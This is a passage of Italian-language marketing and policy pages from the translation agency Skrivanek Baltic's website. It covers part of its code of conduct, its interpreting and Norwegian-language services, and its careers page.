collaborazione attiva anche nel futuro. Dichiariamo apertamente i criteri con cui scegliamo i partner con cui instauriamo una collaborazione e, se pensiamo che dei fornitori non soddisfino tali criteri, siamo anche pronti a fornire più informazioni a riguardo. Inoltre, trattiamo onestamente i casi di conflitto di interesse, dato che potrebbero diventare la ragione per cui una collaborazione viene rifiutata. Tutti i pagamenti eseguiti da Skrivanek Baltic si basano sui documenti di pagamento dell’ordine e l’azienda è molto scrupolosa quando si tratta di pagare i partner con cui collabora. Nel caso in cui il valore dell’ordine del servizio o del prodotto superi i 500 euro, esso deve essere messo per iscritto. Prendiamo tutte le misure necessarie per garantire che le informazioni riservate dei partner con cui collaboriamo, le quali sono state rese disponibili all’azienda come conseguenza di una collaborazione, siano trattate con cura. Inoltre, osserviamo i principi di riservatezza concordati da entrambe le parti. Il corpo dirigenziale e i linguisti specializzati di Skrivanek Baltic potrebbero ricevere o fare piccoli regali simbolici nel caso in cui essi siano strettamente rilevanti agli interessi commerciali di Skrivanek Baltic e non infrangano le norme di cui alla legislazione. Sono accettabili la partecipazione in pranzi e cene relativi all’attività commerciale di Skrivanek, nonché eventi relativi allo sviluppo dell’attività e al suo sostentamento, come ad esempio possono essere conferenze e seminari. I regali non possono avere natura monetaria. I nostri dipendenti e linguisti specializzati, per il periodo durante il quale rappresentano Skrivanek Baltic, non accettano inviti a ristoranti costosi, luoghi di intrattenimento, o altri regali costosi, come possono essere buoni regalo o soldi, dai partner con cui collaboriamo. Tali regali devono essere immediatamente restituiti, spiegando che la loro accettazione violerebbe il codice di condotta di Skrivanek Baltic. Nel caso in cui, per qualsiasi ragione, il regalo non possa essere restituito al mittente, esso deve essere affidato alla dirigenza di Skrivanek Baltic, la quale lo donerà in beneficenza. I linguisti specializzati di Skrivanek Baltic utilizzano le risorse aziendali, compresa la proprietà intellettuale, a beneficio dell’azienda e non per i propri interessi personali. Comportamenti superficiali e negligenti, nonché sprechi o furti delle risorse hanno un impatto diretto nella situazione finanziaria di Skrivanek Baltic e non sono permessi. Essi possono anche essere puniti, in conformità con la legislazione. Collaboriamo con enti statali e con il governo. Siamo anche i rappresentanti del nostro settore e, come tali, prendiamo parte nelle discussioni delle problematiche riguardanti la comunità. Skrivanek Baltic non sostiene economicamente o in qualsiasi altro modo nessun politico, partito politico, movimento o organizzazione politica o religiosa. Fintantoché ciò non venga fatto a nome dell’azienda, Skrivanek Baltic rispetta e supporta personalmente le scelte personali dei propri dipendenti e linguisti specializzati di dare voce alle proprie idee politiche e religiose. L'ambiente di lavoro e le risorse aziendali non possono essere utilizzati come mezzo per il sostentamento personale. In questo caso, dipendenti e linguisti specializzati sono tenuti ad osservare le procedure di cui alla legislazione. Non sono permesse azioni che possono essere considerate come illegali o sospette di corruzione. A sua volta, Skrivanek Baltic supporta una partecipazione trasparente, professionale e finanziariamente motivata in eventi di beneficenza e culturali, come anche altri eventi. Sulla base di questo supporto, indipendentemente dalle sue dimensioni, deve essere redatto un piano che mostra chiaramente come l’azienda può svilupparsi nel lungo termine prendendo parte a tale collaborazione e se ciò ha un effetto positivo a lungo termine sull’azienda. Skrivanek Baltic opera nel rispetto dell'ambiente. Consideriamo ogni attività dal punto di vista del suo impatto ambientale, come teniamo anche conto di come ogni dipendente e linguista specializzato può avere un impatto sull’uso responsabile delle risorse naturali. Valutiamo come i materiali possono essere riusati, differenziati, riciclati ed eliminati responsabilmente. Ogni azione, anche la più piccola, contribuisce a migliorare la situazione, come ad esempio spegnere la luce quando si lascia l’ufficio. Solo i dirigenti della nostra azienda, o le persone da essi autorizzati, possono rappresentare ufficialmente l’azienda nei media o eventi pubblici. I dirigenti di Skrivanek Baltic rappresentano gli interessi dell’azienda e hanno la responsabilità di essere un modello di comportamento etico, come anche di mantenerlo e incoraggiarlo all’interno dell’azienda. I nostri manager devono supportare i dipendenti e i linguisti specializzati rispondendo alle loro domande riguardanti il giusto modo di comportarsi e incoraggiando l’onestà e la fiducia. I dirigenti di Skrivanek Baltic non possono, in nessun caso, dare ordini diretti o indiretti, come anche incoraggiare la violazione o il trascurare del codice di condotta. I nostri dirigenti sono tenuti ad investire il loro tempo nell’analisi di ogni questione riguardante l’etica, come devono anche spiegare il codice di condotta ai nuovi dipendenti. I dirigenti incoraggiano i dipendenti e i linguisti specializzati a tenere un comportamento etico e sono disponibili a rispondere alle domande o a fornire soluzioni nel caso ci siano problemi. --- > Servizi di interpretazione consecutiva in oltre 60 lingue per tutte le situazioni di lavoro e di vita quotidiana. Interpreti locali e stranieri. Contattateci! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/seciga-konsekutiva-tulkosana/ - Translation Priorities: Optional CHE COS’È L’INTERPRETAZIONE CONSECUTIVA E COSA DOVRESTE SAPERE A RIGUARDO? Quando presta un servizio di interpretazione consecutiva, l’interprete ascolta l’oratore per poi interpretare ciò che è stato detto in un’altra lingua. Egli si siede con i partecipanti, ascolta quello che hanno da dire e poi, principalmente sulla base degli appunti presi, interpreta ciò che è stato detto in un’altra lingua. Ci sono due tipologie di interpretazione consecutiva: lunga e corta. Se si svolge un servizio di interpretazione consecutiva corta, allora l’interpretazione avviene ogni due o tre frasi. Questa tipologia di interpretazione viene solitamente eseguita durante incontri commerciali, brevi visite, nei musei, ecc. Nel caso dell’interpretazione consecutiva lunga invece, la quale sta acquisendo sempre più popolarità, sono interpretati dei segmenti di lunghezza che va da 5 a 20 minuti. Nel mondo moderno, l'interpretazione consecutiva è spesso sostituita dall'interpretazione simultanea, anche se la prima ha ancora un uso diffuso in incontri di varia natura (come riunioni tecniche, cene d’affari, incontri di dimensioni ridotte, viaggi di lavoro). Degli interpreti bravi e professionali sono persino in grado di interpretare lunghe conversazioni in maniera dettagliata. CHE COS’ È CHE RENDE DI QUALITÀ UN SERVIZIO DI INTERPRETAZIONE CONSECUTIVA: Resa accurata del messaggio/idea nella lingua di arrivo; Fedeltà a tono e contenuto; Esposizione rapida e fluente eseguita in modo calmo, composto e tranquillo; Un uso del linguaggio elegante e non ambiguo; Un buon contatto con l'oratore e con il pubblico. QUANTI INTERPRETI SERVONO? NUMERO DI LINGUE UTILIZZATE NUMERO MINIMO DI INTERPRETI* Da due lingue verso due lingue 2 Da tre lingue verso tre lingue 3 * In casi eccezionali, rispettando sempre i principi di qualità e di salute sul lavoro, due interpreti possono essere sostituiti da uno e tre da due. LE NOSTRE COMBINAZIONI LINGUISTICHE PIÙ RICHIESTE PER L'INTERPRETAZIONE CONSECUTIVA: Lettone-Inglese-Lettone; Estone-Lettone-Estone; Lituano-Lettone-Lituano; Russo-Inglese-Russo; Svedese-Lettone-Svedese; Spagnolo-Lettone-Spagnolo; Russo-Lettone-Russo, ma anche altre combinazioni. CERCATE UN SERVIZIO DI INTERPRETAZIONE O UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  DA OLTRE 25 ANNI SUL MERCATO! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO --- > Interpretazione simultanea di conferenze, riunioni e altri eventi in oltre 60 lingue. Noleggio di apparecchiature per servizi di interpretazione simultanea. - Published: 2023-12-19 - Modified: 2024-02-26 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/sinhrona-tulkosana/ - Translation Priorities: Optional CON L’INTERPRETAZIONE SIMULTANEA CIÒ CHE DICE L’ORATORE VIENE INTERPRETATO DA DENTRO UNA CABINA PER INTERPRETI CON UN RITARDO DI UN PAIO DI SECONDI. Questo tipo di interpretazione è relativamente recente e, anche se veniva usato anche prima, risale ai processi di Norimberga tenutisi dopo la Seconda guerra mondiale. I processi di Norimberga furono interpretati in quattro lingue e da allora l’interpretazione simultanea si svolge più o meno sempre allo stesso modo (cabine, microfoni, cuffie, tre interpreti). In un certo senso, l'interpretazione simultanea è innaturale: all’interprete è richiesto un altissimo livello di concentrazione, poiché di solito non si parla e ascolta allo stesso tempo. Per svolgere questo lavoro è quindi necessaria formazione e allenamento. Gli interpreti lavorano da una cabina insonorizzata e solitamente sono in due o in tre. L’oratore dell’evento parla al microfono e l’interprete lo ascolta con delle cuffie; egli interpreta quindi ciò che viene detto parlando con il proprio microfono. I partecipanti all’evento possono scegliere in che lingua in cui ascoltare l’intervento selezionando il rispettivo canale. Sono diverse le possibili configurazioni di lingua o di modalità linguistica. In occasione di conferenze multilingue, dalla loro cabina gli interpreti lavorano solamente verso la loro lingua madre, o comunque in una sola combinazione linguistica. Essendo un lavoro che richiede un alto livello di concentrazione, gli interpreti di simultanea fanno turni di 10-30 minuti. COS’È CHE RENDE BUONA UN’INTERPRETAZIONE SIMULTANEA: un’accurata “trasposizione” del messaggio/idea nella lingua d’arrivo fedeltà al contenuto e al tono un modo di parlare calmo, controllato e fluido assenza di traduzioni letterali delle parole un buon contatto con l'oratore e con il pubblico spontaneità Un servizio di interpretazione simultanea si basa sull'ascolto, sulla comprensione, sull'analisi e sulla riformulazione.  LE NOSTRE COMBINAZIONI LINGUISTICHE PIÙ RICHIESTE PER I SERVIZI DI INTERPRETAZIONE SIMULTANEA: Lettone-Inglese-Lettone; Estone-Lettone-Estone; Lituano-Lettone-Lituano; Russo-Inglese-Russo; Svedese-Lettone-Svedese; Spagnolo-Lettone-Spagnolo; Russo-Lettone-Russo, ma anche altre combinazioni. CERCATE UN SERVIZIO DI INTERPRETAZIONE O UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia una richiesta AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  OPERIAMO NEL MERCATO DA OLTRE 25 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO --- > Servizi di interpretazione professionali sono fondamentali per il successo delle vostre conferenze! Servizi di interpretazione e di organizzazione di conferenze Contattateci! - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/konferencu-tulkosana/ - Translation Priorities: Optional L’interpretazione di conferenza non è altro che una forma orale di comunicazione: si tratta di trasmettere un testo orale da una lingua all’altra in modo naturale e fluido, adattando il messaggio e trasmettendo l’intonazione e l’attitudine del parlante al pubblico. Dato che le conferenze internazionali vedono la partecipazione di individui di culture e lingue diverse, nonché con livelli di competenza linguistica differenti, il compito dell’interprete è quello di facilitare la comunicazione trasmettendo le idee principali invece che le singole parole. LE AREE IN CUI I NOSTRI SERVIZI DI INTERPRETAZIONE DI CONFERENZA SONO PIÙ RICHIESTI: tassazione ed economia sommersa; politiche dell’UE e cooperazione transfrontaliera; edilizia; settore bancario e finanziario; tecnologie dell’informazione; settore legale; agricoltura; medicina; industria farmaceutica sperimentazione clinica; settore immobiliare; telecomunicazioni; ecc. COSA OFFRIAMO: interpreti di simultanea professionisti con competenze linguistiche adeguate, i quali lavorano in turni di 30 minuti attrezzatura, come ad esempio cabine interpreti, cuffie, trasmettitori e supporto tecnico supporto e consulenza in tutte le fasi dell’evento: servizi di interpretazione e di desktop publishing (DTP), stampa del materiale e degli inviti alla conferenza, installazione dell’attrezzatura, prenotazione di hotel e sistemazione degli ospiti, catering e banqueting, escursioni per la città, ecc. consulenze professionali sull'organizzazione di conferenze, simposi, congressi e formazione LE NOSTRE COMBINAZIONI LINGUISTICHE PIÙ RICHIESTE PER I SERVIZI DI INTERPRETAZIONE DI CONFERENZA: Lettone-inglese; tedesco-lettone; lettone-tedesco; lituano-lettone; inglese-lettone; estone-inglese; inglese-estone; lituano-inglese; inglese-lituano; russo-inglese; inglese-russo, ma anche altre combinazioni. CERCATE UN SERVIZIO DI INTERPRETAZIONE O UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia una richiesta AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  DA OLTRE 25 ANNI SUL MERCATO! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni Parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO --- > Garantiamo servizi di interpretazione in occasione di udienze in tribunale. Collaboriamo con interpreti esperti che conoscono bene la terminologia legale. Contattateci! - Published: 2023-12-19 - Modified: 2024-02-09 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/tiesas-sezu-tulkosana/ - Translation Priorities: Optional Quando si ha bisogno del supporto di un interprete durante i procedimenti giudiziari, è essenziale non soltanto che egli sia in grado di interpretare ciò che viene detto, ma che conosca anche le questioni, la terminologia e i procedimenti giudiziari. Il team di Skrivanek Baltic è composto da interpreti specializzati proprio in questo. È fondamentale che l’interpretazione in ambito giudiziario sia svolta da professionisti; se fosse svolta da individui non adeguatamente formati e senza esperienza, si perderebbero nel procedimento e nella terminologia. I nostri interpreti si occupano di diversi procedimenti giudiziari, tra cui divorzi, risarcimento danni, dispute sul luogo di lavoro, impegni finanziari in sospeso e questioni inerenti le proprietà immobiliari. Ogni procedimento ha la sua specifica terminologia che i nostri linguisti conosce alla perfezione. Il linguaggio giuridico si basa sulla precisione e proprio per questo i servizi di interpretazione in tribunale devono essere accurati al massimo. LE NOSTRE COMBINAZIONI LINGUISTICHE PIÙ RICHIESTE PER I SERVIZI DI INTERPRETAZIONE CONSECUTIVA: Lettone-Inglese-Lettone; Estone-Lettone-Estone; Lituano-Lettone-Lituano; Russo-Inglese-Russo; Svedese-Lettone-Svedese; Spagnolo-Lettone-Spagnolo; Russo-Lettone-Russo, ma anche altre combinazioni. CERCATE UN SERVIZIO DI INTERPRETAZIONE O UNA CONSULENZA? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Invia una richiesta DA OLTRE 25 ANNI SUL MERCATO! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0+ milioni parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO AFFIDABILITÀ, VELOCITÀ E SERVIZI DI QUALITÀ KRKA D. D. Gli impiegati di Skrivanek sono disponibili, gentili e approcciano con competenza le specifiche dei progetti di traduzione in ambito farmaceutico assegnatigli, come anche le traduzioni in diverse combinazioni linguistiche. Gli ordini sono eseguiti sempre nelle tempistiche stabilite e secondo standard elevati, nel rispetto della massima competenza etica e professionale.  SANDOZ D. D. Skrivanek Baltic è un partner su cui poter contare e con cui consigliamo di collaborare per qualsiasi progetto di grandi dimensioni che richiede servizi linguistici professionali.  ADIDAS BALTICS I dipendenti di Skrivanek sono disponibili e approcciano con competenza le specifiche delle traduzioni dalle lingue baltiche che gli assegniamo. Adidas Baltic consiglia anche alle altre aziende di affidarsi ai servizi linguistici di questa agenzia di traduzione.  --- > Traduzioni generali e specialistiche in lingua norvegese. Interpretazione, localizzazione e altri servizi in lingua norvegese. Contattateci! - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/ - Translation Priorities: Optional TRADUZIONI IN NORVEGESE È DISPONIBILE IL LISTINO PREZZI PER LE TRADUZIONI? Naturalmente. Il listino prezzi dei servizi di traduzione scritta, come anche quelli di interpretazione, localizzazione e adattamento da e verso il norvegese è parte integrante dell’accordo di cooperazione che stipuliamo con in nostri clienti. Prima di iniziare il progetto di traduzione, i project manager di Skrivanek Baltic forniscono sempre informazioni sul prezzo dell’ordine. Il preventivo è pronto in circa 30 minuti. Per quanto riguarda le traduzioni scritte, parametri come il numero di parole e di ripetizioni nel testo di partenza e la complessità dell’elemento grafico concorrono alla definizione del prezzo finale. Volete sapere quanto costa la vostra traduzione? Mandateci il materiale da tradurre e vi proporremo un prezzo personalizzato. Avete bisogno di un servizio di traduzione da/verso il norvegese? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua norvegese: Traduzione di documenti in norvegese Interpretazione simultanea in norvegese Validazione linguistica di traduzioni in norvegese Interpretazione consecutiva in norvegese Trascrizione in norvegese Grafica e composizione tipografica in norvegese Servizi di voice over e di sottotitolaggio in norvegese Servizi di selezione di staff norvegese Marketing multiculturale in norvegese Gestione di documenti in norvegese Servizi di deposizione in norvegese Servizi di data room virtuali in norvegese Supporto per l'e-learning in norvegese Cercate un servizio linguistico in norvegese? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia ALCUNI FATTI SULLA LINGUA NORVEGESE Il norvegese è una lingua germanica del nord che fa parte del ramo germanico della famiglia delle lingue indoeuropee. Sono in circa cinque milioni a parlare norvegese nel mondo: negli Stati uniti, in Canada e in Norvegia, dove è la lingua ufficiale. Il norvegese è anche una delle lingue di lavoro del Consiglio nordico. Nel norvegese moderno si possono riscontrare forti influenze derivanti delle lingue vicine. Di fatti, in tempi antichi la lingua subì l’influenza della lingua basso-tedesca, per poi essere influenzata anche dallo svedese. In seguito, dal medioevo fino alla dissoluzione dell’Unione Kalmar nel 1523, fu dominata dai danesi. Le tre lingue nordiche, ossia il norvegese, lo svedese e il danese, sono molto vicine e simili. Ciò è probabilmente dovuto alle numerose modifiche dei confini delle nazioni durante la storia della Scandinavia. Le prime testimonianze scritte sono pietre runiche e risalgono al X-XI secolo. Se in altre nazioni la pubblicazione di scritture religiose ha promosso lo sviluppo della lingua nazionale, nella letteratura liturgica norvegese ciò ha soltanto rafforzato l’influenza danese, dato che era la lingua in cui era pubblicata la bibbia. Dal XIX secolo esistono due forme scritte di norvegese: il bokmål (lett. “lingua del libro”), basata sulla lessicologia, sulla grammatica e sulla fonetica danese, e il così chiamato “neonorvegese” (nynorsk), nato a metà del XIX secolo dalla fusione di alcuni dialetti norvegesi. La sua creazione è attribuita al linguista Ivar Aasen intorno al 1850. Per decenni i linguisti hanno cercato di unire i due sistemi di scrittura, tuttavia senza successo. Secondo un sondaggio del 2005, per quanto riguarda la lingua scritta, l’86,3% dei parlanti è solito usare il bokmål, il 13% il neonorvegese, mentre il 5,5% li usa entrambi. Per quanto riguarda la lingua orale invece, la maggior parte dei norvegesi parla in dialetti simili al neonorvegese. Tuttavia, il 92% delle pubblicazioni è in bokmål, quindi solo l'8% è in nynorsk. Il bokmål è più diffuso ad Oslo e in altre grandi città, mentre il nynorsk è più utilizzato nella parte occidentale della nazione. Il norvegese è caratterizzato da una grande quantità di dialetti, la cui formazione è dovuta a fattori geografici: fitte foreste, fiordi e terreno montuoso hanno impedito contatti costanti tra le comunità isolate. Oggi nel norvegese ci sono molti prestiti dalla lingua inglese, soprattutto nei settori dell'economia e delle tecnologie. Come prima lingua straniera, l’inglese è stato introdotto nelle scuole norvegesi nel 1935. La sua influenza è aumentata notevolmente dopo la Seconda Guerra Mondiale, soprattutto nei campi dell’economia, della finanza e degli affari. Non sono rare neanche parole ibride, in cui la prima parte è di origine inglese e la seconda di origine norvegese. Si stima che fino al 90% dei neologismi si siano creati sotto l’influenza dell’inglese. In norvegese, la struttura della frase ha un’organizzazione molto rigida; ogni elemento ha un suo posto fisso. I nomi hanno solo due casi, i verbi non si coniugano a seconda della persona e sono utilizzati gli articoli. L'alfabeto norvegese è uguale a quello danese: è composto da 29 lettere, tra cui 23 dell'alfabeto latino, oltre a J, W, U, Æ, Ø e Å. Codice lingua: ISO 639-1: no I NOSTRI SERVIZI LINGUISTICI IN LINGUA NORVEGESE PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche; etc. COMBINAZIONI LINGUISTICHE: Dal lettone al norvegese; dal norvegese al lettone; dall'estone al norvegese; dal norvegese all'estone; dal lituano al norvegese; dal russo al norvegese; dal norvegese al russo; dal polacco al norvegese; dall'ucraino al norvegese; dal norvegese all'ucraino; dall'inglese al norvegese; dal norvegese all'inglese; dal norvegese allo spagnolo; dallo spagnolo al norvegese; dal tedesco al norvegese; dal norvegese al tedesco; dall’italiano al norvegese; dal norvegese all’italiano; dal francese al norvegese; dal norvegese al francese; dal danese al norvegese; dal norvegese al danese; dal ceco al norvegese; dal norvegese al ceco; dallo svedese al norvegese; dal norvegese allo svedese; dal finlandese al norvegese; dal norvegese al finlandese, ma anche altre combinazioni. I NOSTRI SERVIZI LINGUISTICI IN LINGUA NORVEGESE PIÙ RICHIESTI: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche; etc. COMBINAZIONI LINGUISTICHE: Dal lettone al norvegese; dal norvegese al lettone; dall'estone al norvegese; dal norvegese all'estone; dal lituano al norvegese; dal russo al norvegese; dal norvegese al russo; dal polacco al norvegese; dall'ucraino al norvegese; dal norvegese all'ucraino; dall'inglese al norvegese; dal norvegese all'inglese; dal norvegese allo spagnolo; dallo spagnolo al norvegese; dal tedesco al norvegese; dal norvegese al tedesco; dall’italiano al norvegese; dal norvegese all’italiano; dal francese al norvegese; dal norvegese al francese; dal danese al norvegese; dal norvegese al danese; dal ceco al norvegese; dal norvegese al ceco; dallo svedese al norvegese; dal norvegese allo svedese; dal finlandese al norvegese; dal norvegese al finlandese, ma anche altre combinazioni. --- > Scopri di più sui posti di lavoro attualmente disponibili. Per saperne di più sul nostro processo di selezione del personale, vi invitiamo a leggere i requisiti e le condizioni di cooperazione. - Published: 2023-12-19 - Modified: 2025-05-20 - URL: https://skrivanek.lv/karjera/ - Translation Priorities: Optional Sappiamo quanto è importante fornire servizi linguistici di qualità ed è per questo che lavoriamo solo con i migliori linguisti e con i migliori professionisti. Per saperne di più sul nostro processo di selezione del personale, vi invitiamo a leggere i requisiti e le condizioni di cooperazione. Per lavorare presso Skrivanek Baltic, non è sempre necessario avere esperienza nella traduzione: ci sono anche dei dipartimenti che non la richiedono. Perciò, vi invitiamo a consultare le posizioni aperte in questi dipartimenti nel caso in cui non abbiate esperienza in quell’ambito. Siamo alla ricerca di traduttori: Siamo alla ricerca di correttori di bozze:FAI DOMANDA PER UN TIROCINIO PRESSO SKRIVANEK! Se frequenti un corso di laurea in lingue o in linguistica e ti stai specializzando in lingua inglese, tedesca o linguistica applicata, Se vuoi sapere se hai le capacità necessarie per essere un traduttore professionista, Se vuoi imparare dai migliori e vuoi sapere com’è lavorare come traduttore, Contattaci! Basta inviare il tuo CV all'indirizzo lelde@skrivanek. lv indicando nell'oggetto "Internship". CERCHIAMO ESPERTI DI DESKTOP PUBLISHING (DTP) Requisiti: Almeno 2 anni di esperienza in servizi di desktop publishing (DTP) Diploma universitario pertinente Conoscenza lavorativa dei principi di preparazione di pre-print e del contesto lavorativo specifico di un’agenzia di traduzione Puntualità e affidabilità nello svolgimento dei compiti assegnati Conoscenza ed esperienza nell’utilizzo di software come: Adobe Photoshop, Adobe Acrobat, Corel Draw, Adobe Page Maker, Adobe FrameMaker, Adobe InDesign, Adobe Illustrator, Quark Xpress, MS Office L’aspirante candidato/a è una persona in grado di raggiungere i propri obiettivi, indipendente e ben organizzato/a, in grado di portare a termine i compiti assegnati in modo preciso e coerente, ma anche una persona molto creativa, con un senso dell’estetica e interessato/a nel design della grafica digitale. Vuoi lavorare con noi? Basta registrarsi nel nostro Vendor Portal. NOTA BENE: Vi preghiamo di caricare il vostro CV e i documenti necessari a provare le proprie qualifiche ed esperienze (come ad esempio diplomi, certificati, lettere di raccomandazione, ecc. ) Vi preghiamo inoltre di comunicarci se siete autorizzati a fatturare i vostri lavori; potete aggiungere una breve nota a riguardo nella sezione Informazioni aggiuntive. Se non vi contattiamo entro 7 giorni dalla vostra registrazione al nostro Vendor Portal, vi informiamo che al momento non abbiamo richieste per i servizi che offrite. Vi preghiamo di includere nella vostra domanda la seguente clausola: "Acconsento al trattamento dei miei dati personali ai fini del processo di assunzione". Data la rapida crescita della nostra azienda, siamo alla ricerca di candidati per le seguenti posizioni: Siamo inoltre alla ricerca di traduttori con conoscenza specialistica della lingua inglese, tedesca e francese che lavorano regolarmente con CAT tools e che offrono servizi di post-editing per la traduzione automatica neurale. Inglese tecnologie per l’informazione farmacia e farmacologia cardiologia attrezzature mediche Settore del mobile scienza dell'energia telecomunicazioni Tedesco automazione / robotica edilizia / ingegneria civile ingegneria elettrica ed elettronica scienza dell'energia settore auto / aviazione farmacia sanità attrezzature mediche Francese settore bancario / degli investimenti economia contabilità generale assicurazione automazione / robotica edilizia / ingegneria civile ingegneria elettrica ed elettronica scienza dell'energia settore auto / aviazione Verrà data priorità ai traduttori specializzati nei settori sopra indicati. Vuoi lavorare con noi? Basta registrarsi nel nostro Vendor Portal. NOTA BENE: Vi preghiamo di caricare il vostro CV e i documenti necessari a provare le proprie qualifiche ed esperienze (come ad esempio diplomi, certificati, lettere di raccomandazione, ecc. ) Vi preghiamo inoltre di comunicarci se siete autorizzati a fatturare i vostri lavori; potete aggiungere una breve nota a riguardo nella sezione Informazioni aggiuntive. Se non vi contattiamo entro 7 giorni dalla vostra registrazione al nostro Vendor Portal, vi informiamo che al momento non abbiamo richieste per i servizi che offrite. Contatto per il processo di selezione: lelde@skrivanek. lv OPERIAMO NEL MERCATO DA OLTRE 30 ANNI! Abbiamo una grande esperienza nella traduzione di testi di diversi argomenti. 0+ Diverse combinazioni linguistiche 0milioni parole tradotte nel 2023 0+ Specialisti della lingua 0 Certificati ISO --- > I codici lingua ISO 639-1 rappresentano i nomi delle principali lingue del 